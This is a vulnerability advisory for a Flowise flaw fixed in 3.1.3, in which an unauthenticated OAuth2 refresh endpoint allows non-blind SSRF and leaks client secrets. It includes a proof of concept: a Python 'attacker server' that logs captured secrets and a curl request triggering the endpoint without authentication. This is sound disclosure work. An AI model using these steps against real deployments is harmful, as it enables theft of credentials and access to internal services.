CVE-2026-69250: Flowise: Unauthenticated OAuth2 Refresh Enables Non-Blind SSRF and Secret Exfiltration
Summary
The OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is unauthenticated by design (it is in the public whitelist) and performs a server-side HTTP request to a credential-controlled URL (accessTokenUrl) without SSRF protections. In runtime validation, this endpoint was reachable without auth, triggered outbound POST requests to an attacker-controlled server, and reflected the full remote response body to the caller (tokenInfo), confirming non-blind SSRF and credential secret exfiltration.
Details
The vulnerability is in dist/routes/oauth2/index.js (container runtime build), under path prefix /api/v1/oauth2-credential.
Confirmed in runtime code:
1. Unauthenticated route via whitelist - dist/utils/constants.js includes: - /api/v1/oauth2-credential/callback - /api/v1/oauth2-credential/refresh - dist/index.js auth middleware uses: - const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url)) - Therefore /api/v1/oauth2-credential/refresh/:credentialId is treated as whitelisted.
2. User-controlled SSRF target - In refresh handler (dist/routes/oauth2/index.js): - loads credential by credentialId - decrypts credential data - reads accessTokenUrl - executes: - axios.post(tokenUrl, new URLSearchParams(refreshRequestData).toString(), ...) - No secureAxiosRequest() / denylist wrapper is used in this path.
3. Non-blind response reflection - Response returns: - tokenInfo: { ...tokenData, ... } - tokenData is the attacker/internal server response body.
4. Secrets sent to SSRF target - Request body includes: - clientid - clientsecret - granttype=refreshtoken - refreshtoken
PoC
Environment used
- flowiseai/flowise:latest container (localhost:3000) - Attacker server (localhost:18081) returning JSON
Step 1: Start attacker server
bash python3 -u - <<'PY' from http.server import BaseHTTPRequestHandler, HTTPServer import json
class H(BaseHTTPRequestHandler): def doPOST(self): l = int(self.headers.get('Content-Length','0')) b = self.rfile.read(l).decode('utf-8', errors='replace') print('REQUESTPATH', self.path, flush=True) print('REQUESTBODY', b, flush=True) self.sendresponse(200) self.sendheader('Content-Type','application/json') self.endheaders() self.wfile.write(json.dumps({'ok': True, 'source': 'attacker-server', 'echolen': len(b)}).encode()) def logmessage(self, fmt, args): pass
HTTPServer(('0.0.0.0', 18081), H).serveforever() PY
Step 2: Create OAuth2 credential with attacker accessTokenUrl (authenticated action)
In validation, this was done via authenticated API path (credential creation requires auth/permissions), then refresh was tested publicly.
Resulting credential ID used in runtime validation:
- 24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef
Step 3: Trigger refresh without auth
bash curl -i -X POST \ http://127.0.0.1:3000/api/v1/oauth2-credential/refresh/24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef \ -H 'Content-Type: application/json' \ -d '{}'
Observed response:
json { "success": true, "message": "OAuth2 token refreshed successfully", "credentialId": "24c0b18b-ff6e-4d81-a9a7-26ea8ddccdef", "tokenInfo": { "ok": true, "source": "attacker-server", "echolen": 76, "hasnewrefreshtoken": false } }
Attacker server logs captured:
text REQUESTPATH /token REQUESTBODY clientid=cid2&clientsecret=csec2&granttype=refreshtoken&refreshtoken=r2
This confirms: - unauthenticated trigger, - server-side POST to attacker-controlled URL, - exfiltration of OAuth2 secrets in POST body, - full response reflection to client (tokenInfo).
Impact
- Vulnerability class: Non-blind SSRF + sensitive secret exfiltration. - Who can set up attack: Any authenticated user who can create/update OAuth2 credentials. - Who can trigger attack: Anyone who knows a valid OAuth2 credential UUID (refresh endpoint is public/whitelisted). - Technical impact: - outbound SSRF to attacker/internal targets, - direct leak of clientsecret and refreshtoken to SSRF target, - direct response read from target via API response (tokenInfo). - Deployment impact: - cloud/internal network reachability can expose metadata/internal services depending on egress controls.
Other sources
Flowise is a drag & drop user interface to build a customized large language model flow. Prior to 3.1.3, the OAuth2 token refresh endpoint POST /api/v1/oauth2-credential/refresh/:credentialId is unauthenticated by design and performs a server-side HTTP request to the credential-controlled accessTokenUrl without SSRF protections. Runtime validation confirmed that the endpoint was reachable without authentication, triggered outbound POST requests to an attacker-controlled server, reflected the full remote response body to the caller through tokenInfo, and sent clientid, clientsecret, granttype=refreshtoken, and refreshtoken in the request body. This issue is fixed in version 3.1.3.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/flowiseto a version that resolves this vulnerability.Fixed in 3.1.3 - Upgrade
Upgrade to a fixed release to a version that resolves this vulnerability.
Fixed in 3.1.3 - Configuration
In the refresh path for /api/v1/oauth2-credential/refresh (implemented in dist/routes/oauth2/index.js), ensure outgoing requests to the credential-controlled accessTokenUrl are not made without SSRF protections; the report states this path lacks secureAxiosRequest()/denylist wrapper and directly posts via axios.post(tokenUrl,...).
Flowise OAuth2 refresh handler (dist/routes/oauth2/index.js) SSRF protections/denylist wrapper (secureAxiosRequest() usage) = use denylisted/secure request wrapper instead of direct axios.post to tokenUrl - Compensating control
Ensure the OAuth2 token refresh endpoint (POST /api/v1/oauth2-credential/refresh/:credentialId) is not reachable publicly/without authentication; remove it from any public whitelist used for request-path whitelisting (the refresh route is described as being in a public whitelist).